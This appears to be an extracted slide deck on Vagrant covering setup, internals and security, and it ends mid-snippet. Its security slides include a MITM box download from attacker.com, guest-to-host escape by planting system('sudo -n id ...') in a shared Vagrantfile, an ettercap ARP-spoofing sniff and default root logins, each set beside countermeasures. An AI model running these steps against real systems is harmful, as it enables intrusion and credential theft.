What is this all about?

Vagrant,

a person who wanders about idly and has no permanent home or employment.

-dictionary.com-
What is this all about?

Vagrant,

an open-source software product for building and maintaining portable virtual development environments.

- wikipedia.com -
What is this all about?

Name: Vagrant
Developer: HashiCorp
Initial Release: 2010
Latest Version: 1.8.6
Written in: Ruby
Operating System: Linux, FreeBSD, OS X, and Microsoft
Interface: Command line
Website: www.vagrantup.com
Why people are using it?

Simple

Productive

Powerful

Deterministic
THE BASICS

Introduction
Basics
Example
Internals
Security
Future
End
Terminology & Workflow
The Hashicorp Repository
Contains More Than
10,000 Boxes!
THE BASICS

Terminology & Workflow

provision

import

Guests

Providers

Host
List of Commands

$ vagrant init <box> [url]
$ vagrant up
$ vagrant halt
$ vagrant destroy [--force]
$ vagrant reload

$ vagrant ssh
$ vagrant status
Vagrant Init

Command:

$ vagrant init <box> [url]
Vagrant Init

Command:

$ vagrant init <box> [url]

Configures which Box to use

$ vagrant init ubuntu/trusty64
$ vagrant init precise64 https://files.vagrantup.com/precise64.box
$ vagrant box list
hashicorp/precise64 (virtualbox, 1.1.0)
ubuntu/trusty64 (virtualbox, 20160406.0.0)
ubuntu_1604_x64 (virtualbox, 0) # broken!
$ vagrant box remove ubuntu_1604_x64
**THE BASICS**

Vagrant Init

**Command:**

$ vagrant init <box> [url]

Creates a Vagrantfile within the local directory

$ cat Vagrantfile

Vagrant.configure("2") do |config|
  config.vm.box = "ubuntu/trusty64"
end

$ # "2" stands for the vagrant-version.

**Tip:** Usually the Vagrantfile contains a lot of comments. Using `vagrant init` with the `-m`-flag will create a minimal version containing only the important entries.
Remember: Almost all of the `vagrant`-commands are executed in the context of the current working directory.
Overview

$ vagrant init ubuntu/trusty64
$ vagrant up
$ vagrant destroy
Structure

```
$ tree
.
|-- bootstrap.sh
   `-- Vagrantfile
     `-- v-root
         |-- www
             `-- html
                 `-- index.html

3 directories, 3 files
Vagrantfile

$ cat Vagrantfile
Vagrant.configure("2") do |config|
  config.vm.box = "ubuntu/trusty64"
  config.vm.synced_folder "v-root", "/vagrant" # ①
  config.vm.provision :shell, path: "bootstrap.sh" # ②
  config.vm.network :forwarded_port, guest: 80, host: 8080 # ③
end
Vagrantfile

```
$ cat Vagrantfile
Vagrant.configure("2") do |config|
  config.vm.box = "ubuntu/trusty64"
  config.vm.synced_folder "v-root", "/vagrant" # ①
  config.vm.provision :shell, path: "bootstrap.sh" # ②
  config.vm.network :forwarded_port, guest: 80, host: 8080 # ③
end

① use v-root as shared-folder (default: ./).
```
THE EXAMPLE

Vagrantfile

$ cat Vagrantfile
Vagrant.configure("2") do |config|
  config.vm.box = "ubuntu/trusty64"
  config.vm.synced_folder "v-root", "/vagrant" # ①
  config.vm.provision :shell, path: "bootstrap.sh" # ②
  config.vm.network :forwarded_port, guest: 80, host: 8080 # ③
end

② execute bootstrap.sh on guest-system. This is called Provisioning.
Provisioning

$ cat bootstrap.sh
apt-get update
apt-get install -y apache2
if ! [ -L /var/www ]; then
    rm -rf /var/www
    ln -fs /vagrant/www /var/www
fi

**Remember:** To make sure things run smoothly design your provisioner scripts to expect no user-input.

**Tip:** Tired of being Bashed all the time? There are several other providers out there (e.g. chef, puppet, ansible, ...) to fix you up in no time.
Vagrantfile

$ cat Vagrantfile
Vagrant.configure("2") do |config|
  config.vm.box = "ubuntu/trusty64"
  config.vm.synced_folder "v-root", "/vagrant" # ①
  config.vm.provision :shell, path: "bootstrap.sh" # ②
  config.vm.network :forwarded_port, guest: 80, host: 8080 # ③
end

③ forward port 80 from guest- to port 8080 on host-system.
Going Live

$ vagrant up
Download

Network

Vagrant SSH
Vagrant Init & Vagrant Up

$ vagrant init debian/jessie64 && vagrant up
Bringing machine 'default' up with 'virtualbox' provider...

==> default: Box 'debian/jessie64' could not be found.
  default: Box Provider: virtualbox
  default: Box Version: >= 0

==> default: Loading metadata for box 'debian/jessie64'
  default: URL: https://vagrantcloud.com/debian/jessie64

==> default: Adding box 'debian/jessie64' for provider: virtualbox
  default: Downloading: https://atlas.hashicorp.com/debian/jessie64/virtualbox.box

Tip: Only want to download a box without starting it? Use the `vagrant box add <box> [url]` command.
THE INTERNALS : DOWNLOAD

Metadata

```json
{  # Content of https://vagrantcloud.com/debian/jessie64.json
  "description": "Vanilla Debian 8 \"Jessie\"",
  "name": "debian/jessie64",
  "versions": [
    {
      "version": "8.5.1",  # 1
      "status": "active",
      "providers": [  # 2
        {
          "name": "virtualbox",
          "url": "https://atlas.hashicorp.com/debian/boxes/jessie64/versions/8.5.1/providers/virtualbox.box"
        },
        {
          "name": "lxc",
          "url": "https://atlas.hashicorp.com/debian/boxes/jessie64/versions/8.5.1/providers/lxc.box"
        }
      ]
    }
  ]
}
```
THE INTERNALS : DOWNLOAD

Metadata

```json
{
  "description": "Vanilla Debian 8 \"Jessie\"",
  "name": "debian/jessie64",
  "versions": [
    {
      "version": "8.5.1", # 1
      "status": "active",
      "providers": [ # 2
        {
          "name": "virtualbox",
          "url": "https://atlas.hashicorp.com/debian/boxes/jessie64/versions/8.5.1/providers/virtualbox.box"
        },
        {
          "name": "lxc",
          "url": "https://atlas.hashicorp.com/debian/boxes/jessie64/versions/8.5.1/providers/lxc.box"
        }
      ]
    }
  ]
}
```

1 multiple versions for one box possible.
THE INTERNALS : DOWNLOAD

Metadata

{  
  # Content of https://vagrantcloud.com/debian/jessie64.json
  "description": "Vanilla Debian 8 \"Jessie\"",
  "name": "debian/jessie64",
  "versions": [
    
    "version": "8.5.1",  # 1
    "status": "active",
    "providers": [
      # 2
      
      {  
        "name": "virtualbox",
        "url": "https://atlas.hashicorp.com/debian/boxes/jessie64/versions/8.5.1/providers/virtualbox.box"
      },
      
      {  
        "name": "lxc",
        "url": "https://atlas.hashicorp.com/debian/boxes/jessie64/versions/8.5.1/providers/lxc.box"
      }
    ]
  ]
}

② multiple providers for one version possible.
THE INTERNALS : DOWNLOAD

Boxes

- **Vagrantfile**: Default Configuration
THE INTERNALS : DOWNLOAD

Boxes

- **box-disk1.vmdk**: Hard-Disk Image
THE INTERNALS : DOWNLOAD

Boxes

- box.ovf: CPU, RAM, etc.
Boxes

- **metadata.json**: Name, Description, Version, etc.
THE INTERNALS : DOWNLOAD

Configuration

Global:

Local:

Provider:
THE INTERNALS : NETWORK
THE INTERNALS : NETWORK

- Default
- Private
- Public

NAT | Host-Only | Bridged

INTERNET
THE INTERNALS : NETWORK

Network Configuration

config.vm.network "private_network",
    type: "dhcp" # 1

config.vm.network "private_network",
    ip: "192.168.50.4" # 2

config.vm.network "public_network",
    bridge: "en1: Wi-Fi (AirPort)" # 3

① use DHCP to retrieve ip-address ...
Network Configuration

1. config.vm.network "private_network",
   type: "dhcp" # ①

2. config.vm.network "private_network",
   ip: "192.168.50.4" # ②

3. config.vm.network "public_network",
   bridge: "en1: Wi-Fi (AirPort)" # ③

② ... or set it up manually.
THE INTERNALS : NETWORK

Network Configuration

config.vm.network "private_network",
  type: ”dhcp” # 1

config.vm.network "private_network",
ip: ”192.168.50.4” # 2

config.vm.network "public_network",
  bridge: ”en1: Wi-Fi (AirPort)” # 3

③ select the interface to bridge.
THE INTERNALS : VAGRANT SSH

Download

Network

Vagrant SSH
SSH Configuration

$ vagrant ssh-config
Host default
  HostName 127.0.0.1  # 1
  User vagrant  # 2
  Port 2222  # 3
  UserKnownHostsFile /dev/null
  StrictHostKeyChecking no
  PasswordAuthentication no
  IdentityFile "/home/user/.vagrant.d/insecure_private_key"  # 4
  IdentitiesOnly yes
  LogLevel FATAL
SSH Configuration

$ vagrant ssh-config
Host default
  HostName 127.0.0.1  # 1
  User vagrant  # 2
  Port 2222  # 3
  UserKnownHostsFile /dev/null
  StrictHostKeyChecking no
  PasswordAuthentication no
  IdentityFile ”/home/user/.vagrant.d/insecure_private_key”  # 4
  IdentitiesOnly yes
  LogLevel FATAL

1 Connect to localhost.
SSH Configuration

$ vagrant ssh-config
Host default
  HostName 127.0.0.1  # 1
  User vagrant  # 2
Port 2222  # 3
UserKnownHostsFile /dev/null
StrictHostKeyChecking no
PasswordAuthentication no
IdentityFile "/home/user/.vagrant.d/insecure_private_key"  # 4
IdentitiesOnly yes
LogLevel FATAL

② Use vagrant as username.
THE INTERNALS : VAGRANT SSH

SSH Configuration

$ vagrant ssh-config
Host default
  HostName 127.0.0.1 # 1
  User vagrant # 2
  Port 2222 # 3
  UserKnownHostsFile /dev/null
  StrictHostKeyChecking no
  PasswordAuthentication no
  IdentityFile "/home/user/.vagrant.d/insecure__private__key" # 4
  IdentitiesOnly yes
  LogLevel FATAL

③ Use port 2222. When port-collision is detected port 2201, 2202, ... will be used.
THE INTERNALS : VAGRANT SSH

SSH Configuration

$ vagrant ssh-config
Host default
  HostName 127.0.0.1  # 1
  User vagrant  # 2
  Port 2222  # 3
  UserKnownHostsFile /dev/null
  StrictHostKeyChecking no
  PasswordAuthentication no
  IdentityFile ”/home/user/.vagrant.d/insecure_private_key”  # 4
  IdentitiesOnly yes
  LogLevel FATAL

4 Use insecure private key (default).
Vagrant boxes are **insecure by default and by design**, featuring **public passwords**, **insecure keypairs for SSH access**, and **potentially allow root access** over SSH.
THE SECURITY : VAGRANT INIT

Vagrant Init
Passwords
Vagrant SSH
Network
Shared Folders
Defaults
Exploitation
Recommendations
THE SECURITY: VAGRANT INIT

Command:

$ vagrant init <box> [url]

Connection over HTTPS

$ vagrant init debian/jessie64
$ vagrant up

Bringing machine 'default' up with 'virtualbox' provider...

===> default: Box 'debian/jessie64' could not be found.
    default: Box Provider: virtualbox
    default: Box Version: >= 0

===> default: Loading metadata for box 'debian/jessie64'
    default: URL: https://vagrantcloud.com/debian/jessie64

===> default: Adding box 'debian/jessie64' for provider: virtualbox
    default: Downloading: https://atlas.hashicorp.com/debian/jessie64/virtualbox.box
THE SECURITY : VAGRANT INIT

Command:

$ vagrant init <box> [url]

Connection over HTTPS (MiM)

$ vagrant init debian/jessie64
$ vagrant up
Bringing machine 'default' up with 'virtualbox' provider...
==> default: Box 'debian/jessie64' could not be found...
    default: Box Provider: virtualbox
    default: Box Version: >= 0
==> default: Adding box 'debian/jessie64' (v0) for provider: virtualbox
    default: Downloading: https://vagrantcloud.com/debian/jessie64
SSL certificate problem: self signed certificate in certificate chain
More details here: http://curl.haxx.se/docs/sslcerts.html
THE SECURITY : VAGRANT INIT

Command:
$ vagrant init <box> [url]

Connection over HTTP
$ vagrant init debian/jessie64 http://vagrantcloud.com/debian/jessie64
$ vagrant up
Bringing machine 'default' up with 'virtualbox' provider...
==> default: Box 'debian/jessie64' could not be found...
    default: Box Provider: virtualbox
    default: Box Version: >= 0
==> default: Loading metadata for box 'debian/jessie64'
    default: URL: http://vagrantcloud.com/debian/jessie64
==> default: Adding box 'debian/jessie64' for provider: virtualbox
    default: Downloading: https://atlas.hashicorp.com/debian/jessie64/virtualbox.box

Note: see Appendix for an illustrated example using the Burp Suite.
THE SECURITY : VAGRANT INIT

Command:

$ vagrant init <box> [url]

Connection over HTTP (MiM)

$ vagrant init debian/jessie64 http://vagrantcloud.com/debian/jessie64
$ vagrant up
Bringing machine 'default' up with 'virtualbox' provider...
  ==> default: Box 'debian/jessie64' could not be found...
      default: Box Provider: virtualbox
      default: Box Version: >= 0
  ==> default: Loading metadata for box 'debian/jessie64'
      default: URL: http://vagrantcloud.com/debian/jessie64
  ==> default: Adding box 'debian/jessie64' for provider: virtualbox
      default: Downloading: http://attacker.com/debian/jessie64/virtualbox.box

Note: see Appendix for an illustrated example using the Burp Suite.
Command:

$ vagrant update

Connection over HTTP(s):

==> A newer version of the box 'ubuntu/trusty64' is available!
==> You currently have version '20160601.0.0'.
==> Run 'vagrant box update' to update.

Note: vagrant update might also use an insecure connection!
THE SECURITY : PASSWORDS

Vagrant Init
Passwords
Vagrant SSH
Network
Shared Folders
Defaults
Exploitation
Recommendations
THE SECURITY : PASSWORDS

Username:  vagrant
Password:  vagrant (optional)

Username:  root
Password:  vagrant (optional)

Tip: Default usernames and passwords can always be overwritten using `vagrant.ssh.username` and `vagrant.ssh.password`. Custom usernames and passwords are typically defined within the Vagrantfile inside the box.
THE SECURITY : PASSWORDS

Tip: Default usernames and passwords can always be overwritten using `vagrant.ssh.username` and `vagrant.ssh.password`. Custom usernames and passwords are typically defined within the Vagrantfile inside the box.
THE SECURITY : VAGRANT SSH

Vagrant Init
Passwords
Vagrant SSH
Network
Shared Folders
Defaults
Exploitation
Recommendations
THE SECURITY : VAGRANT SSH

Password Authentication

SSH Root Access

$ ssh root@127.0.0.1 -p 2222
root@127.0.0.1s password: # vagrant
Welcome to Ubuntu 14.04.4 LTS (GNU/Linux 3.13.0-87-generic x86_64)
...

SSH Vagrant Access

$ ssh vagrant@127.0.0.1 -p 2222
vagrant@127.0.0.1s password: # vagrant
Welcome to Ubuntu 14.04.4 LTS (GNU/Linux 3.13.0-87-generic x86_64)
...
Public Key Authentication

SSH Vagrant Access (insecure private-key)*

$ ssh vagrant@127.0.0.1 -p 2222 -i /home/user/.vagrant.d/insecure_private_key
Welcome to Ubuntu 14.04.4 LTS (GNU/Linux 3.13.0-87-generic x86_64)
...

SSH Vagrant Access (≥ 1.7.0)**

# Default behaviour since vagrant 1.7.0
config.ssh.insert_key = true
config.ssh.private_key_path = ".vagrant/machines/default/virtualbox/private_key"

*) can also be downloaded at https://github.com/mitchellh/vagrant/tree/master/keys.
**) insecure private-key is replaced with randomly generated key by default since vagrant 1.7.0 on first vagrant up. However, by default both public-key- and password-authentication are activated.
SSH Key Management

**Box-1 (secure):** ˜/.ssh/authorized_keys
```
ssh-rsa AAAAB3NzaC1yc2EAAAADAgABAAABAQC1zdT0jP3Xw
...
JApQcM9+K4ganC2iymIvBXYN9nUOXyoYzT vagrant
```

**Box-2 (secure):** ˜/.ssh/authorized_keys
```
ssh-rsa AAAAB3NzaC1yc2EAAAADAgABAAABAQCr0EaRqIPfP
...
VGYkg42475QfgVAWmACLZFxIun+16SK+3T vagrant
```

**Box-3 (insecure):** ˜/.ssh/authorized_keys
```
ssh-rsa AAAAB3NzaC1yc2EAAAABIBIwAAAQEA6NF8iallVQVp2
...
8tehUc9c9WhQ== vagrant insecure public key
```
THE SECURITY : NETWORK

Vagrant Init
Passwords
Vagrant SSH
Network
Shared Folders
Defaults
Exploitation
Recommendations
THE SECURITY : NETWORK

Port Forwarding

$ vagrant up

# Bind guest port 80 to host port 8080
config.vm.network ”forwarded_port”,
guest: 80,
host: 8080

Awesome!
Port Forwarding

$ vagrant up

# Bind guest port 80 to host port 8080
config.vm.network "forwarded_port",
  guest: 80,
  host: 8080
# binds to all interfaces by default

Note: Bind SSH to all interfaces. Fixed in #ba91602 in 2013.
However, all ports are accessible when public network was choosen.
Port Forwarding

$ vagrant up

# Bind guest port 80 to host port 8080
config.vm.network "forwarded_port",
guest: 80,
host: 8080,
# bind to localhost only
host_ip: "127.0.0.1"

Note: Bind SSH to all interfaces. Fixed in #ba91602 in 2013.
However, all ports are accessible when public network was choosen.
Routing (NAT)

```
root@vagrant-ubuntu-precise-64:~# tracepath 8.8.8.8
1: 10.0.2.15 (10.0.2.15) 0.092ms pmtu 1500
1: 10.0.2.2 (10.0.2.2) 0.176ms
2: router.home (192.168.1.1) asymm 64 1.464ms
...
```

Port Scans

```
root@vagrant-ubuntu-precise-64:~# nmap -sS 10.0.2.2,192.168.1.1/24 -Pn
```

Password Sniffing*

```
root@vagrant-ubuntu-precise-64:~# ettercap -q -i eth1 -T -M arp:remote ///
ettercap NG-0.7.4.2 copyright 2001-2005 ALoR & NaGA
...
```

*) Requires vagrant to be in public network.
THE SECURITY : SHARED FOLDERS

Vagrant Init
Passwords
Vagrant SSH
Network
Shared Folders
Defaults
Exploitation
Recommendations

SHARED FOLDERS
THE SECURITY : SHARED FOLDERS

Overview

Local folder:
- is shared by default
- contains the Vagrantfile

Vagrantfile:
- can be edited by guest
- is written in ruby
- can execute commands on host
- can be reloaded by guest
THE SECURITY: SHARED FOLDERS

Exploiting A Shared Local Folder (Low Privilege Shell on Host)

▶ Planting Malicious Code Into Vagrantfile

```bash
# Getting Low Privilege Shell on Host
system("id > user-id")
```

▶ Reloading Vagrantfile

```
$ reboot
```

▶ Remount Vagrant Share

```
$ mount -t vboxsf vagrant /vagrant
```
THE SECURITY : SHARED FOLDERS

Exploiting A Shared Local Folder (High Privilege Shell on Host)

▶ Planting Malicious Code Into Vagrantfile

```bash
# Getting High Privilege Shell on Host
# > Local Host User Needs To Be Within Sudoers List
# > Sudo Session Needs To Be Active
system("sudo -n id > root-id 2> /dev/null")
```

▶ Reloading Vagrantfile

```
$ reboot
```

▶ Remount Vagrant Share

```
$ mount -t vboxsf vagrant /vagrant
```
THE SECURITY : SHARED FOLDERS

The Counter-Measures

- Disable Default Vagrant Share
  
  `config.vm.synced_folder '.', '/vagrant', disabled: true`

- Don’t Allow Local User To Use Sudo
THE SECURITY : DEFAULTS

Vagrant Init
Passwords
Vagrant SSH
Network
Shared Folders
Defaults
Exploitation
Recommendations
THE SECURITY : DEFAULTS

Box ➔ Global ➔ Local ➔ VMDK

Vagrantfiles
THE SECURITY: EXPLOITATION

Recommendations

Exploitation

Defaults

Shared Folders

Network

Passwords

Vagrant SSH

Vagrant Init

EXPLOITATION

60
THE SECURITY : EXPLOITATION

Low Privilege Shell (Guest)

- Port-Forwarding
  - e.g. Vulnerable Web-Application (★★)
- Man in the Middle
  - Inject Vulnerable Box (★★)
- SSH Connection
  - Insecure Public Key (★)
  - Finding Valid Keys (★)
  - Root Login with Default Password (★★★)
  - Vagrant Login with Default Password (★★★)

*) Depends on Network Settings (default/private/public)
THE SECURITY : EXPLOITATION

High Privilege Shell (Guest)

- Default Root Password (★★)
- Default Vagrant Password (★★)
  - Sudo to Root (★ ★ ★)
- Old or Unpatched Software (★★)
THE SECURITY : EXPLOITATION

Low/High Privilege Shell (Host)

▶ Network
  ▶ Password Sniffing* (★)
  ▶ Discover other Vagrant Boxes (★★)
  ▶ Discover Vulnerable Services (★★)
  ▶ ...

▶ Shared Folder
  ▶ Manipulate Vagrantfile** (★★)

*) Only Works When Public Network Is Used.

**) High Privilege Shell When Local Host User Allows Sudo And Sudo-Session Is Active.
THE SECURITY : RECOMMENDATIONS

Vagrant Init
Passwords
Vagrant SSH
Network
Shared Folders
Defaults
Exploitation
Recommendations
THE SECURITY : RECOMMENDATIONS

Recommendations for running VirtualBox

- Keep Software Up To Date
  - Update VirtualBox and Guest Additions
- Restrict Network Access to Critical Services
- Follow the Principle of Least Privilege
  - Do not run VirtualBox as root.
- Monitor System Activity
  - Update VirtualBox and Guest Additions
- Keep Up To Date on Latest Security Information
  - Update VirtualBox and Guest Additions

see https://www.virtualbox.org/manual/ch13.html
THE SECURITY : RECOMMENDATIONS

Recommendations for running Vagrant

Attitude
▶ Don’t Rely On Defaults
▶ Don’t Run Vagrant As Root
▶ Don’t Trust Boxes From 3rd Parties
▶ Always Check The VagrantFiles
▶ Always Use Secure Communication Channels

Configuration
▶ Disable Root SSH-Access
▶ Disable Root Password
▶ Set Secure Vagrant Password
▶ Set Secure SSH-Keys
▶ Disable Default Vagrant Share
▶ Use Default Network
▶ Restrict Port-Forwarding to Localhost
▶ Disable Sudo For Local User
Vagrant Security Plugin

Command:
$ vagrant security scan [options]

Result:
[w] Current user is able to run sudo.
[i] Default vagrant share disabled.
[!] SSH root access with default credentials detected.
[!] SSH vagrant access with default credentials detected.
[i] SSH secure keys are used.
[w] Vagrantfile discovered on box at /home/w00t/Vagrantfile.
[w] Box is running within public network.
[!] Port 2222 (sshd) is visible to the outside world.
[!] Port 8080 (apache) is visible to the outside world.

Note: The plugin is not published yet. If you don’t want to wait just let me know. I will send you a copy of the current code-base.
Local Hacking Environment

- Instructions
- Build-Environment
- Examples in Shared Folder

**Tip:** Share your environments with friends and colleagues using a version control system (CSV).
THE REFERENCES

THE REFERENCES

THE REFERENCES

THE REFERENCES

THE REFERENCES

THE REFERENCES

THE REFERENCES

THE REFERENCES

THE REFERENCES
THE REFERENCES

- Vagrant Official Website
  - https://www.vagrantup.com

- Vagrant Configuration Reference

- Vagrant Boxes
  - https://atlas.hashicorp.com/boxes/search (Official)
  - http://www.vagrantbox.es/ (Inofficial)

- Vagrant Plugins
  - https://github.com/mitchellh/vagrant/wiki/Available-Vagrant-Plugins
  - https://vagrant-lists.github.io/plugins.html

- Vagrant Providers
  - https://www.vagrantup.com/docs/providers/
THE REFERENCES

▶ Vagrantfile
  ▶ https://www.vagrantup.com/docs/vagrantfile/

▶ Vagrant Share
  ▶ https://atlas.hashicorp.com/help/vagrant/shares/create

▶ Packer - Automated Box Packaging Tool
  ▶ https://www.packer.io

▶ SSH Hardening with Ansible
  ▶ https://github.com/dev-sec/ansible-ssh-hardening

▶ Docker Provider Example
  ▶ https://github.com/bubenkoff/vagrant-docker-example

▶ Windows in a Box - Easy Virtual Machine Management with Vagrant
  ▶ http://digitaldrummerj.me//vagrant-overview/
THE APPENDIX : SETUP CUSTOM BOX

Setup Custom Box
Vagrant Packaging
Vagrant & Zombies
Provisioning
Additional Features
Performance
Intercepting Box Download
Overview:

- Setup Virtualbox Image
  - Hard Disk
  - CPU, Memory
  - Port-Forwarding
- Setup Guest System
  - Users and Passwords
  - SSH configuration
THE APPENDIX : SETUP CUSTOM BOX

Setup Virtualbox Image

Hard Disk File Type: ???
Setup Virtualbox Image

Hard Disk File Type:  ???

- VDI (Virtual Box Image)
  - default, not supported by all major distributors.
- VMDK (Virtual Machine Disk)
  - is developed by vmware and supported by all major virtualization tools.
  - capability to split storage into files less than 2 GB.
  - can not be resized.
- VHD (Virtual Hard Disk)
  - used by Microsoft VirtualPC
- HDD (Parallels Hard Disk)
  - Parallels Version 2 (Apple)
- QCOW (QEMU Copy-On-Write) and QED (QEMU Enhanced Disk)
  - used by emulation- und Virtualisationsoftware QEMU

Note: All formats support dynamic allocated sizing and snapshots.
THE APPENDIX : SETUP CUSTOM BOX

Setup Virtualbox Image

Hard Disk File Type: VMDK

► + support for all major virtualization tools.
► + dynamic allocated sizing allows a large maximum size (e.g. 40 GB) with minimal footprint.
► - Resizing requires the transformation of the image to another format.

Hard Disk Size: 40 GB
Memory: 512 MB

Remember: Be lightweight by default! CPU & RAM can always be configured within the Vagrantfile.
THE APPENDIX : SETUP CUSTOM BOX

Setup Virtualbox Image

- Choose PS/2 as Pointing Device*
- Disable audio, usb
- Enable network adapter 1
- Reinitialize the MAC address of all network cards
- Select Attached to: ???

*) Precondition to be able to disable USB
Setup Virtualbox Image - Networking Modes

- **NAT:**
  - ✗ host → guest
  - ✗ guest ↔ guest
  - ✓ guest → external systems

- **Bridged:**
  - ✓ host → guest
  - ✓ guest ↔ guest
  - ✓ guest → external systems

- **Host-Only:**
  - ✓ host → guest
  - ✓ guest ↔ guest
  - ✗ guest → external systems

- **Internal:** (not supported)
  - ✗ host → guest
  - ✓ guest ↔ guest
  - ✗ guest → external systems
THE APPENDIX : SETUP CUSTOM BOX

Setup Virtualbox Image

- Choose PS/2 as Pointing Device*
- Disable audio, usb
- Enable network adapter 1
- Reinitialize the MAC address of all network cards
- Select Attached to: NAT
- Add port-forwarding rule:
  - Name: SSH
  - Protocol: TCP
  - Host IP: blank
  - Host Port: 2222
  - Guest IP: blank
  - Guest Port: 22

*) Precondition to be able to disable USB
THE APPENDIX : SETUP CUSTOM BOX

Setup Guest System

- Hostname:
  - distribution-version-platform
  - max 63 chars, no dots.

- Update System:
  - `sudo apt-get update && sudo apt-get dist-upgrade`

- Setup Users:
  - Add user `vagrant`.
  - Set password for `vagrant` to `vagrant`. *(optional)*
  - Add `vagrant` to sudoers list. *(required)*
    - `vagrant ALL=(ALL) NOPASSWD:ALL`
  - Set password for root to `vagrant`. *(optional)*

- Install and Setup SSH:
  - Install `openssh-server`
  - Disable DNS lookup by setting `UseDNS` to `no.`
Setup Guest System (Setup private-key)

```bash
# Add a ssh config folder and authorized_keys file
$ sudo mkdir /home/vagrant/.ssh
$ sudo touch /home/vagrant/.ssh/authorized_keys
# Set owner and permissions
$ sudo chown -R vagrant /home/vagrant/.ssh
$ sudo chmod 0700 /home/vagrant/.ssh
$ sudo chmod 0600 /home/vagrant/.ssh/authorized_keys
# Add the insecure public key
$ su vagrant
$ curl 'https://raw.githubusercontent.com/mitchellh/vagrant/master/keys/vagrant.pub' >> /home/vagrant/.ssh/authorized_keys
# Within /etc/ssh/sshd_config enable
AuthorizedKeysFile %h/.ssh/authorized_keys
```
Setup Guest System

- Install the VirtualBox Guest Additions:

  # This can be easily done by using the virtualbox gui.

- Compact space:

  $ sudo dd if=/dev/zero of=/EMPTY bs=1M
  $ sudo rm -f /EMPTY
THE APPENDIX: SETUP CUSTOM BOX

Pack and Run

# Lookup vm-name.
$ VBoxManage list vms
# Package vm. (This can take quite some time.)
$ vagrant package --base vagrant-ubuntu64
# Checking out resulting size.
$ du -h package.box
 2.0G package.box
# Add box to internal vagrant repository.
$ vagrant box add vagrant-ubuntu64 package.box
# Init and run vm.
$ vagrant init vagrant-ubuntu64 && vagrant up

Tip: Seems like a lot of work? Automate the process by using packer ... (see next section)
THE APPENDIX : VAGRANT PACKAGING

Setup Custom Box
Vagrant Packaging
Vagrant & Zombies
Provisioning
Additional Features
Performance
Intercepting Box Download

VAGRANT PACKAGING
Using Vagrant Package

Command:

$ vagrant package

Explanation:

- Creates a Box-file of the running VM
- Box-file includes all installed applications
- Resulting Box-file can be added using `vagrant box add <file>`
THE APPENDIX : VAGRANT PACKAGING

Using Hashicorps Packer

Command:

$ packer [options] <config-file>

Explanation:

- Creates a Box-file from ISO (e.g. ubuntu-16.04.iso).
- Automates the installation- and configuration-process.
- Resulting Box-file can be added using `vagrant box add <file>`
Using Hashicorps Packer

- Download Packer:
  - https://www.packer.io
- Download Packer Example:
  - https://github.com/ChiperSoft/Packer-Vagrant-Example
- Change to the packer-directory within the git-repository
- Execute packer*:

  $ packer build ubuntu.json

- Launch vagrant to execute provisioning:

  $ vagrant up

*) This can take quite some time to finish. After a while the VM will be started. However, do not interact with the running VM until packer is completely finished.
THE APPENDIX : VAGRANT & ZOMBIES

Setup Custom Box
Vagrant Packaging
Vagrant & Zombies
Provisioning
Additional Features
Performance
Intercepting Box Download
# GETTING A GLOBAL STATUS

## Command:

```
$ vagrant global-status [--prune*]
```

## Result:

<table>
<thead>
<tr>
<th>id</th>
<th>name</th>
<th>provider</th>
<th>state</th>
<th>directory</th>
</tr>
</thead>
<tbody>
<tr>
<td>14c991d</td>
<td>default</td>
<td>virtualbox</td>
<td>running</td>
<td>/home/user/VagrantBoxes/ubuntu_precise</td>
</tr>
<tr>
<td>b2e1394</td>
<td>default</td>
<td>virtualbox</td>
<td>stopped</td>
<td>/home/user/VagrantBoxes/ubuntu_dapper</td>
</tr>
</tbody>
</table>

## Controlling a Box via ID:

```
$ vagrant <up|halt|destroy> [id]
```

*) --prune removes invalid entries from the list.
Killing Zombie Boxes

The Vagrant Way

$ vagrant global-status --prune
id name provider state directory
------------------------------------------------------------------------------------------
 b723d2e default virtualbox poweroff /home/user/VagrantBoxes/vagrant-asp

$ vagrant destroy b723d2e

The VirtualBox Way

$ VBoxManage list vms
"<inaccessible>" {5fe6c484-2026-4a1d-8974-b883f717251c}
$ VBoxManage remove 5fe6c484-2026-4a1d-8974-b883f717251c

The Last Resort

$ killall VBoxHeadless
THE APPENDIX : PROVISIONING

Setup Custom Box
Vagrant Packaging
Vagrant & Zombies
Provisioning
Additional Features
Performance
Intercepting Box Download
THE APPENDIX : PROVISIONING

Commands:
$ vagrant up
$ vagrant provision
$ vagrant reload --provision

Configuration
Vagrant.configure("2") do |config|
  config.vm.provision "shell", path: "script.sh"
  config.vm.provision "ansible" do |ansible|
    ansible.playbook = "playbook.yml"
  end
  config.vm.provision "chef_solo" do |chef|
    chef.add_recipe "apache"
  end
  config.vm.provision "docker" do |d|
    d.build_image "/vagrant/app"
  end
  config.vm.provision "puppet" do |puppet|
    puppet.manifests_path = "my_manifests"
    puppet.manifest_file = "default.pp"
  end
end
THE APPENDIX: ADDITIONAL FEATURES

Setup Custom Box
Vagrant Packaging
Vagrant & Zombies
Provisioning
Additional Features
Performance
Intercepting Box Download
THE APPENDIX : ADDITIONAL FEATURES

Multi-Machine

Description:
- Maintain multiple machines with one Vagrantfile.

Configuration:
```ruby
Vagrant.configure("2") do |config|
  config.vm.define "web" do |web|
    web.vm.box = "apache"
  end

  config.vm.define "db" do |db|
    db.vm.box = "mysql"
  end
end
```

see https://www.vagrantup.com/docs/multi-machine/
THE APPENDIX : ADDITIONAL FEATURES

Vagrant Snapshots

Description:

▶ Manage snapshots with the vagrant snapshot-command.

Commands:

$ vagrant snapshot save NAME
$ vagrant snapshot restore NAME
$ vagrant snapshot list
$ vagrant snapshot delete NAME
Vagrant Plugins

Command:
$ vagrant plugin install <plugin>

List of Plugins:

- vagrant-cachier: Enables caching for different package managers on Linux
- vagrant-global-status: Keeping track of vagrant machines
- vagrant-proxyconf: Configures virtual machine to use specified proxies

Warning: Plugins might get downloaded via HTTP.
Vagrant Share

Command:
$ vagrant share

Description:
▶ connects to the Vagrant Cloud and
▶ generates a random, temporary domain name*
   ▶ http://glowing-rabbit-4213.vagrantshare.com
   ▶ http://sweltering-goat-2103.vagrantshare.com
   ▶ ...

*) using the –name flag a custom name can be choosen.
Vagrant Share

Command:

$ vagrant share

Requirements**:

- The box needs to be running and forward a http-port.
- You need to login to hashicorp using `vagrant login`.
- You need to run the latest vagrant version for this feature to work.

**) see https://vagrantcloud.com/help/vagrant/shares/wordpress for trouble-shooting a wordpress vagrant share.
THE APPENDIX : ADDITIONAL FEATURES

Messages

Vagrant Post Up Message*:

```ruby
```

Shell Provisioning:

```ruby
cfg.vm.provision "shell", privileged: false, inline: <<-EOF
